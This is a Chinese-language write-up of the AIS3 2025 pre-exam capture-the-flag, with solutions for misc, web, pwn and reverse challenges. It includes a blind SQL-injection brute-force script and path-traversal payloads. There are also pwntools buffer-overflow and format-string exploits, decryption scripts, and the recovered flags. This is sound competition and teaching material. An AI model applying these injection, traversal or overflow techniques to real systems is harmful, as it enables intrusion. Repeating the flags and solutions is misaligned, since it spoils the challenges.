# AIS3 2025 pre-exam writeup

## Misc
### Welcome

可以手打
> flag: `AIS3{Welcome_And_Enjoy_The_CTF_!}`
### Ramen CTF


統一編號 3478592
通靈?
https://www.etax.nat.gov.tw/etwmain/etw113w1/ban/query
平和溫泉拉麵店
QRCODE -> 蝦拉
```
MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉
```
https://www.einvoice.nat.gov.tw/static/ptl/ein_upload/attachments/1479449792874_0.6(20161115).pdf
- 編號:MF16879911
- 日期:1140413
- 隨機碼:70950
- 統一編號:34785923
https://www.einvoice.nat.gov.tw/portal/btc/audit/btc601w/search

> flag: `AIS3{樂山溫泉拉麵:蝦拉麵}`
### AIS3 Tiny Server - Web / Misc

根據原作者的實作,會直接把 request uri 後面當作 filename 直接 open([source](https://github.com/shenfeng/tiny-web-server/blob/master/tiny.c#285))。所以我們就可以請求 `http://chals1.ais3.org:<port>//` 存取到跟目錄,再去找格式是 `/readable_flag_*` 的檔案就拿到 flag 了。


> flag: `AIS3{tInY_weB_$erv3R_wiTH_fIL3_BR0Ws1nG_45_@_feaTur3}`
## Web
### Tomorin db 🐧

這一題是一個用 go 寫的網頁程式,可以存取 `/app/Tomorin/` 底下的檔案,同時題目的 flag 就在該目錄底下。但如果是 `/flag` 就會被重新導向到 YouTube。所以我們必須想辦法繞過 go 的路徑匹配機制,存取 `/flag`。
```go
package main
import "net/http"
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}
```
問一問 GPT 說是可以用 `%2e%2e%2fflag` 然後就拿到了,賽後測試用 `%2fflag` 也可以。

> flag: `AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}`
### Login Screen 1

夢到馬祖告訴我帳號密碼是 admin admin。

登入後還會有個 2fa 認證才能拿到 flag。

閱讀原始碼發現 username 有 SQL 注入的可能
用盲注 brute force 出 2fa 的 code 就拿到 flag 了。
```python
import requests
url = "http://login-screen.ctftime.uk:36368/index.php"
code = ""
for i in range(1, 20):
for d in range(10):
payload = f"admin' AND SUBSTR((SELECT code FROM Users WHERE username='admin'),{i},1)='{d}' --"
data = {
"username": payload,
"password": "admin"
}
r = requests.post(url, data=data)
if "2FA" in r.text or "Location: 2fa.php" in r.text:
code += str(d)
print(f"[*] {d}")
break
print(f"[+] Final admin code: {code}")
```
最後可以求出 2FA 是 `5175644775348545983`

> flag: `AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}`
## Pwn
### Welcome to the World of Ave Mujica🌙


他會要求你輸入 buffer 的長度,然後再輸入內容。
他的長度會被限制在 127 內,但是可以用 int overflow,輸入 -1,會被當成 unsign,所以就是最大。
然後是的 bof 題目,用 cyclic 算 offset 後覆蓋 ret addr 即可。
```python
from pwn import * # type: ignore
REMOTE = "chals1.ais3.org:60194"
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"
def connect():
host, port = REMOTE.split(":")
return remote(host, int(port))
target = 0x401256
io = connect()
# script here
io.recvlines(9)
io.sendline(b"yes")
io.recvuntil(b": ")
io.sendline(b"-1")
io.recvuntil(b": ")
io.sendline(b"A" * 168 + p64(target))
io.recvlines(8)
io.sendline(b"cat /flag")
flag = io.recvline().strip()
success(f"Base64 Flag: {base64.b64encode(flag).decode()}")
success(f"Flag: {flag.decode()}")
# AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️ (Lacrima😭🥲💦)..._06583eb14788987f57474cb8edbc8595}
io.close()
```
> `AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️ (Lacrima😭🥲💦)..._06583eb14788987f57474cb8edbc8595}`
### Format Number

`easy` `pwn`
> Print the number in the format you like !
>
> `nc chals1.ais3.org 50960`
> Author : Curious
這題可以多打一個 `$` 跳脫前面的序列,然後自己構建一個 `%n$`,然後分段 dump 出來就可以了。但是中間會有很多 `\x00` 所以要替換掉才看得懂 flag。
```python
from pwn import * # type: ignore
import sys
BINARY = "./share/chal"
REMOTE = "chals1.ais3.org:50960"
DEBUG = len(sys.argv) > 1 and sys.argv[1] == "debug"
context.arch = "i386"
context.os = "linux"
context.log_level = "info"
# setup gdb scripts
GDBSCRIPT = """
"""
def connect():
if DEBUG:
return process(BINARY)
# return gdb.debug(BINARY, gdbscript=GDBSCRIPT)
else:
host, port = REMOTE.split(":")
return remote(host, int(port))
# script here
flag = b""
for i in range(20, 60):
io = connect()
io.recvuntil(b"? ")
io.sendline(b"$$%" + str(i).encode() + b"$")
io.recvuntil(b"%$$")
data = int(io.recvline().strip().decode())
info(f"data: {p32(data).replace(b'\x00', b'').decode()}")
flag += p32(data)
# io.interactive()
io.close()
success(f"Flag: {flag.replace(b"\x00", b"").decode()}")
```
## Reverse
### AIS3 Tiny Server - Reverse


透過分析可以發現,在路徑處理的函式底下有兩個用來做字串比對的函式。

```python
key = b"rikki_l0v3"
v8_byte = [
0x58382033, 0x475C2812, 0xF2D5229, 0xE0A5A,
0x5013580F, 0x34195A19, 0x43333158, 0x5A044113,
0x2C583419, 0x3465333, 0x4A4A481E
]
v8 = bytearray()
for v in v8_byte:
v8.extend(v.to_bytes(4, 'little'))
print(f"[*] v8: {v8.hex()}")
# xor with key
for i in range(45):
v8[i] ^= key[i % 10]
print(f"[+] flag: {v8.decode()}")
```
### web flag checker


程式流程大致上是:
- 輸入 flag 按下按鈕呼叫 `on_check`
- `flagchecker` 呼叫 `$func8` 解密 flag 做數字比較
分析 wasm 可以發現,就只是一些 ror 的組合,但每串位移的值不一樣。解出來的 flag 不知道是不是作者在玩梗,但也 ror 一下就可以拿到 flag 了。
```python
def rotate_left(value: int, shift: int) -> int:
shift %= 64
value &= (1 << 64) - 1 # 保證是 64 位
return ((value << shift) | (value >> (64 - shift))) & ((1 << 64) - 1)
def rotate_right(value: int, shift: int) -> int:
shift %= 64
value &= (1 << 64) - 1
return ((value >> shift) | (value << (64 - shift))) & ((1 << 64) - 1)
def str_ror(s: str, shift: int) -> str:
shift %= len(s)
return s[-shift:] + s[:-shift]
def str_rol(s: str, shift: int) -> str:
shift %= len(s)
return s[shift:] + s[:shift]
hashes = [
(0x69282A668AEF666A, 13),
(0x633525F4D7372337, 12),
(0x9DB9A5A0DCC5DD7D, 2),
(0x9833AFAFB8381A2F, 7),
(0x6FAC8C8726464726, 5),
]
result_str = ""
for h, r in hashes:
result = rotate_right(h, r)
# 將 result 轉成字元陣列的字串
result_bytes = result.to_bytes(8, byteorder='little')
current_str = ''.join([chr(b) for b in result_bytes])
result_str += current_str
print("[+] result_str:", result_str)
# {W4SAIS3 rsM_R3v3 _w17hing 4pp__g0_ 9229dd}3
flag = ""
flag += str_rol(result_str[0:8], 4)
flag += str_rol(result_str[8:16], 2)
flag += str_rol(result_str[16:24], 5)
flag += str_rol(result_str[24:32], 5)
flag += str_rol(result_str[32:40], 7)
print(f"[+] flag: {flag}")
# AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}
```
> flag: `AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}`
### A\_simple\_snake_game



在顯示文字的函式中可以找到字串解密的程式碼



```python
import struct
# 原始加密整數資料
v14_values = [
0xCE695081,
0xC1942BB5,
0xC38B136D,
0xDB0830C5,
0x774CB209,
0xED101C59,
0x48EB2058,
0x6529FECF,
0x1D9D67F7,
0xDE102EA4,
0x2866FD,
]
# XOR 金鑰陣列(hex_array1)
hex_array1 = [
0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
0x93, 0x22, 0x55, 0x15, 0x00
]
# 將整數轉為小端格式位元組
def to_signed_int32(val):
return val if val < (1 << 31) else val - (1 << 32)
signed_v14 = [to_signed_int32(val) for val in v14_values]
encrypted_bytes = b''.join(struct.pack('<i', val) for val in signed_v14)
# XOR 解密
decrypted_bytes = bytes([enc ^ key for enc, key in zip(encrypted_bytes, hex_array1)])
print("flag: ", decrypted_bytes.decode())
# AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}
```
> flag: `AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}`
### verysafe\_image\_encrypter


用 PIE 看可以得知有幾個 section,但 `.Aukro` 原先是沒有東西的

程式會用走訪 export table 動態解析 API,會先從 `.Bukro` 讀取 payload,先用 xor 0x47 解密後,然後用 `RtlDecompressBuffer` 解壓縮到 `.Akuro`。接著讀取 `.ntHdr` 裡面的 NT header,解析裡面的 API。更改記憶體區域的權限後,取得 shellcode entry,呼叫過去。
用 x64dbg 把脫殼後的 exe dump 出來後,就可以找到加密圖片的部分。會發現是很簡單的 xor + shift。


```python
def xor_decrypt_image(input_path, output_path, key=114):
with open(input_path, "rb") as infile:
encrypted_data = infile.read()
decrypted_data = bytes([((b - 4) ^ key) & 0xFF for b in encrypted_data])
with open(output_path, "wb") as outfile:
outfile.write(decrypted_data)
print(f"[+] 圖片已還原並儲存為:{output_path}")
# 範例使用方式
if __name__ == "__main__":
input_file = "encrypted_image.png" # 請替換為你的 XOR 加密圖片路徑
output_file = "restored.png" # 還原後的輸出檔名
xor_decrypt_image(input_file, output_file)
```

> flag: `AIS3{rwx_53gm3nttt_s0_5AS}`